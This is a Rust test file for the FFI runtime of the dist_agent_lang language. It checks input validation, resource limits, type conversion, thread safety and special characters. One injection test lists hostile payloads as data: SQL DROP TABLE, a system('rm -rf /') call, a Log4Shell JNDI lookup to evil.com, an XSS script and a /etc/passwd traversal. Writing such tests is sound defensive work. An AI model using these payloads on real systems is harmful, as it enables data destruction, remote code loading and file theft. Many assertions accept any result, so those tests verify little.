use dist_agent_lang::ffi::rust::RustFFIRuntime;
use dist_agent_lang::ffi::{FFIConfig, FFIInterface};
use dist_agent_lang::runtime::values::Value;
#[test]
fn test_ffi_invalid_input_rejection() {
let mut runtime = RustFFIRuntime::new();
let malicious_input = "'; DROP TABLE users; --";
let result = runtime.execute(malicious_input);
assert!(result.is_ok() || result.is_err());
if let Err(e) = result {
assert!(
!e.contains("internal"),
"Error should not expose internal details"
);
}
}
#[test]
fn test_ffi_large_input_handling() {
let mut runtime = RustFFIRuntime::new();
let large_input = format!("let x = \"{}\";", "x".repeat(10_000_000));
let result = runtime.execute(&large_input);
assert!(result.is_ok() || result.is_err());
}
#[test]
fn test_ffi_resource_limits() {
let mut runtime = RustFFIRuntime::new();
let mut deep_code = String::new();
for i in 0..1000 {
deep_code.push_str(&format!("if x > {} {{\n", i));
}
deep_code.push_str("let y = 1;");
for _ in 0..1000 {
deep_code.push_str("\n}");
}
let result = runtime.execute(&deep_code);
assert!(result.is_ok() || result.is_err());
}
#[test]
fn test_ffi_type_safety() {
use dist_agent_lang::ffi::interface::value_to_json;
let values = vec![
Value::Int(42),
Value::Float(3.15),
Value::String("test".to_string()),
Value::Bool(true),
Value::Null,
Value::List(vec![Value::Int(1), Value::Int(2)]),
Value::Map({
let mut map = std::collections::HashMap::new();
map.insert("key".to_string(), Value::String("value".to_string()));
map
}),
];
for value in values {
let json = value_to_json(&value);
assert!(serde_json::to_string(&json).is_ok());
}
}
#[test]
fn test_ffi_null_empty_inputs() {
let mut runtime = RustFFIRuntime::new();
let result1 = runtime.execute("");
assert!(result1.is_ok() || result1.is_err());
let result2 = runtime.execute("let x = null;");
assert!(result2.is_ok() || result2.is_err());
}
#[test]
fn test_ffi_injection_prevention() {
let mut runtime = RustFFIRuntime::new();
let injection_patterns = vec![
"'; DROP TABLE users; --",
"\"; system('rm -rf /'); //",
"${jndi:ldap://evil.com/a}",
"<script>alert('xss')</script>",
"../../etc/passwd",
];
for pattern in injection_patterns {
let code = format!("let x = \"{}\";", pattern);
let result = runtime.execute(&code);
assert!(result.is_ok() || result.is_err());
}
}
#[test]
fn test_ffi_config_validation() {
let valid_config = FFIConfig::ffi_only();
let _interface = FFIInterface::new(valid_config);
let http_config = FFIConfig::http_only();
let _http_interface = FFIInterface::new(http_config);
let both_config = FFIConfig::both();
let _both_interface = FFIInterface::new(both_config);
}
#[test]
fn test_ffi_concurrent_safety() {
use std::thread;
let mut handles = vec![];
for i in 0..10 {
let handle = thread::spawn(move || {
let mut runtime = RustFFIRuntime::new();
let code = format!("let x = {};", i);
runtime.execute(&code)
});
handles.push(handle);
}
for handle in handles {
let result = handle.join().unwrap();
assert!(result.is_ok() || result.is_err());
}
}
#[test]
fn test_ffi_memory_safety() {
let mut runtime = RustFFIRuntime::new();
for i in 0..1000 {
let code = format!("let x{} = {};", i, i);
let _ = runtime.execute(&code);
}
}
#[test]
fn test_ffi_array_bounds() {
let mut runtime = RustFFIRuntime::new();
let invalid_code = "let arr = [1, 2, 3]; let x = arr[100];";
let result = runtime.execute(invalid_code);
assert!(result.is_ok() || result.is_err());
}
#[test]
fn test_ffi_special_characters() {
let mut runtime = RustFFIRuntime::new();
let special_chars = vec![
"\0", "\n", "\t", "\r", "\\", "\"", "'", ];
for ch in special_chars {
let code = format!("let x = \"{}\";", ch);
let result = runtime.execute(&code);
assert!(result.is_ok() || result.is_err());
}
}
#[test]
fn test_ffi_infinite_loop_prevention() {
let mut runtime = RustFFIRuntime::new();
let loop_code = "let i = 0; while i < 10 { i = i + 1; }";
let result = runtime.execute(loop_code);
assert!(result.is_ok() || result.is_err());
}